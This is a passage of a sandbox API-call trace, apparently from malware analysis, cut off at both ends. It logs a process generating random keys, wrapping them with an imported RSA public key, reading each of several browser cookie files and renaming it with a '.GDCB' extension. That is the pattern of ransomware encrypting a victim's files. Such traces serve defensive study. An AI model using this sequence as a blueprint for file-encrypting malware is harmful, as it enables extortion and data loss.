hKey=0x5036050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.568] GetLastError () returned 0x0 [0188.568] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.568] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.571] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036550) returned 1 [0188.571] CryptGetKeyParam (in: hKey=0x5036550, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.571] CryptEncrypt (in: hKey=0x5036550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.571] GetLastError () returned 0x0 [0188.571] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.571] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\B427TFXJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\b427tfxj.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.573] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.574] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.575] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x200, lpOverlapped=0x0) returned 1 [0188.622] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.628] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\B427TFXJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\b427tfxj.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\B427TFXJ.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\b427tfxj.txt.gdcb")) returned 1 [0188.633] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.636] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.636] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.639] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.639] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.639] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.639] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0188.641] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036790) returned 1 [0188.641] CryptGetKeyParam (in: hKey=0x5036790, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.641] CryptEncrypt (in: hKey=0x5036790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.641] GetLastError () returned 0x0 [0188.641] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.641] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.643] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036090) returned 1 [0188.643] CryptGetKeyParam (in: hKey=0x5036090, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.643] CryptEncrypt (in: hKey=0x5036090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.644] GetLastError () returned 0x0 [0188.644] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.644] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\BK4HNAZ1.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\bk4hnaz1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.646] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.647] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.648] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xce, lpOverlapped=0x0) returned 1 [0188.656] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.679] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\BK4HNAZ1.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\bk4hnaz1.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\BK4HNAZ1.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\bk4hnaz1.txt.gdcb")) returned 1 [0188.684] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.685] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.686] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.686] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.686] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.686] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.688] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.688] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.688] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.688] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.690] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036110) returned 1 [0188.690] CryptGetKeyParam (in: hKey=0x5036110, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.690] CryptEncrypt (in: hKey=0x5036110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.691] GetLastError () returned 0x0 [0188.691] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.691] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.693] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50367d0) returned 1 [0188.693] CryptGetKeyParam (in: hKey=0x50367d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.693] CryptEncrypt (in: hKey=0x50367d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.693] GetLastError () returned 0x0 [0188.693] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.693] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CC7DS78R.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cc7ds78r.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.695] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.696] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.697] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x4f, lpOverlapped=0x0) returned 1 [0188.705] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.709] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CC7DS78R.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cc7ds78r.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CC7DS78R.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cc7ds78r.txt.gdcb")) returned 1 [0188.715] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.717] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.718] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.718] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.718] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.720] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.720] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.720] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.720] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0188.722] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036410) returned 1 [0188.723] CryptGetKeyParam (in: hKey=0x5036410, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.723] CryptEncrypt (in: hKey=0x5036410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.723] GetLastError () returned 0x0 [0188.723] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.723] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.725] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036610) returned 1 [0188.725] CryptGetKeyParam (in: hKey=0x5036610, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.725] CryptEncrypt (in: hKey=0x5036610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.725] GetLastError () returned 0x0 [0188.725] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.725] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CDGOWO27.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cdgowo27.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.727] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.728] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.729] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x8c, lpOverlapped=0x0) returned 1 [0188.738] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.742] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CDGOWO27.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cdgowo27.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CDGOWO27.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cdgowo27.txt.gdcb")) returned 1 [0188.749] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.751] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.751] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.751] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.753] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.753] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.753] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.756] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036250) returned 1 [0188.756] CryptGetKeyParam (in: hKey=0x5036250, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.756] CryptEncrypt (in: hKey=0x5036250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.756] GetLastError () returned 0x0 [0188.756] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.756] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.758] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50362d0) returned 1 [0188.758] CryptGetKeyParam (in: hKey=0x50362d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.758] CryptEncrypt (in: hKey=0x50362d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.758] GetLastError () returned 0x0 [0188.759] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.759] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CYHYO8JD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cyhyo8jd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.760] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.762] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.763] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6e, lpOverlapped=0x0) returned 1 [0188.772] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.777] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CYHYO8JD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cyhyo8jd.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CYHYO8JD.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cyhyo8jd.txt.gdcb")) returned 1 [0188.784] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0188.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.786] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.786] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.786] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.786] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.789] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.789] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.789] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.789] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.791] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036350) returned 1 [0188.791] CryptGetKeyParam (in: hKey=0x5036350, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.791] CryptEncrypt (in: hKey=0x5036350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.791] GetLastError () returned 0x0 [0188.791] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.791] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.794] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036310) returned 1 [0188.794] CryptGetKeyParam (in: hKey=0x5036310, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.794] CryptEncrypt (in: 